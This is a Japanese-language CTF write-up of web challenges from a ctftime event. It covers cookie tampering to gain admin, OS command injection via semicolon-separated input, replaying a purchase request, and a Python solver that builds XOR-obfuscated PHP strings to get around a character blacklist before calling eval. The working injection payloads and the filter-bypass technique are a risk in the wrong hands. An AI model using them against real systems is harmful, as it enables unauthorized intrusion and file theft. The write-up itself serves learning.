https://ctftime.org/event/2268
- [Web] Delicious
- [Web] Find the flag
- [Web] Ultimate Spiderman Fan
- [Web] Filters
- [Web] Notes V1 解けなかった
[Web] Delicious
How delicious!
ソースコード無し。
開くと「Delicious isn't it?」という文字とともにCookieの画像が表示される。
レスポンスを見るとSet-Cookieが付いている。
Set-Cookie: cookie=eyJhZG1pbiI6MH0%3D; Path=/
URL Decodeして、From Base64すると{"admin":0}
と出てくる。
https://gchq.github.io/CyberChef/#recipe=URL_Decode()From_Base64('A-Za-z0-9%2B/%3D',true,false)&input=ZXlKaFpHMXBiaUk2TUgwJTNE
admin=1の状態にして使ってみよう。
https://gchq.github.io/CyberChef/#recipe=To_Base64('A-Za-z0-9%2B/%3D')URL_Encode(true)&input=eyJhZG1pbiI6MX0
これを使って以下のようにリクエストするとフラグが得られる。
GET / HTTP/2 Host: ch23900160354.ch.eng.run Cookie: cookie=eyJhZG1pbiI6MX0%3D
[Web] Find the flag
Flag is in flag.txt
以下のようにコマンドインジェクションできるポイントがある。
@app.get('/') def index(): test = request.args.get('test', None) if test is None: return render_template('index.html') command = f"find {test}" try: output = os.popen(command).read()
;
でコマンドを区切ってコマンドインジェクションしてみる。
/?test=a;id
とするとuid=0(root) gid=0(root) groups=0(root)
と出てくる。idコマンドが動作している。
/?test=a;id
とするとflag.txt
の存在が分かる。
/?test=a;cat%20flag.txt
でフラグ獲得。
[Web] Ultimate Spiderman Fan
Welcome to the Spider-Man Merch Portal . Your mission is to harness your web-slinging skills and become the ultimate Spider-Fan. Are you ready to prove your worth and claim your rightful place among the elite Spider-Fans?
スパイダーマン・マーチ・ポータルへようこそ。あなたの使命は、ウェブを操るスキルを駆使して、究極のスパイダーファンになること。あなたは自分の価値を証明し、エリートスパイダーファンの中で正当な地位を主張する準備ができていますか?
お金を$3000持った状態で、$5000の商品が買えればフラグがもらえそう。
ソースコード無しの状態なのでリクエストの流れを見てみる。
買いたい商品はボタンが無く、UI上からは買えないのだが、以上のルールでもし変えた場合のリクエストを再現すれば買えそう。
POST /buy
POST /buy HTTP/2 Host: ch11900160369.ch.eng.run Content-Length: 12 Content-Type: application/x-www-form-urlencoded product_id=4
これでcookieがもらえるので、以下のように使う。
GET /checkout
GET /checkout HTTP/2 Host: ch11900160369.ch.eng.run Cookie: shopping_token=eyJhbGciOiAiSFMyNTYiLCAidHlwIjogIkpXVCJ9.eyJhbW91bnQiOiA1MDAwfQ.qdH04CeYzu_qZoL2gBNdEsmtc3XKME6wAFw7CdjId5E
これでフラグゲット。
[Web] Filters
No bypass! Flag is in flag.txt
phpでできたサイトが与えられる。
<?php highlight_file(__FILE__); $command = $_GET['command'] ?? ''; if($command === '') { die("Please provide a command\n"); } function filter($command) { if(preg_match('/(`|\.|\$|\/|a|c|s|require|include)/i', $command)) { return false; } return true; } if(filter($command)) { eval($command); echo "Command executed"; } else { echo "Restricted characters have been used"; } echo "\n"; ?>
XORテクが使えそう。
https://github.com/vichhika/CTF-Writeup/blob/main/GrabCON%20CTF%202021/Web/Basic%20Calc/README.md を参考にソルバーを書く。
XORを使って文字制限を回避して任意の文字を作成し、かっこを使って呼び出すという作戦。
# ref: https://github.com/vichhika/CTF-Writeup/blob/main/GrabCON%20CTF%202021/Web/Basic%20Calc/README.md #string_code = ['system','ls'] # -> ("111114"^"BHBETY")("41"^"XB") string_code = ['system','cat flag.txt'] # -> ("111114"^"BHBETY")("111q1411w111"^"RPEQWXPVYEIE") obfuscated_code = "" charset = "1234567890qwertyuiopdfghjklzxvbnmQWERTYUIOPDFGHJKLZXVBNM" for code in string_code: obfuscated = "" set_a = "" set_b = "" for i in code: ok = False for j in charset: for k in charset: if ord(j)^ord(k) == ord(i): set_a += j set_b += k ok = True break if ok: break obfuscated_code += f'("{set_a}"^"{set_b}")' print(''.join(["(\"%s\")" % i for i in string_code]) + '=' + obfuscated_code)
直ぐ環境が閉じてしまったが print_r(("111114"^"BHBETY")("111q1411w111"^"RPEQWXPVYEIE"))
で最終的にフラグが得られたはず。
[Web] Notes V1 解けなかった
Is there more to the Simple Notes app than meets the eye?
Note: Use Pow script
https://gist.github.com/L0xm1/b6ece05590ea2ab819b3a833c702089c
reverse proxyとしてgolangで書かれたプログラムが動いていて/admin
を
ブロックしていて、そのあとのpythonで書かれたプログラムの/admin
で
Insecure YAML Deselializationがある。
何らかのsmugglingだろうが…
以下だったらしい。脆弱性確認してなかった。
https://security.snyk.io/vuln/SNYK-DEBIAN12-GOLANG117-3040376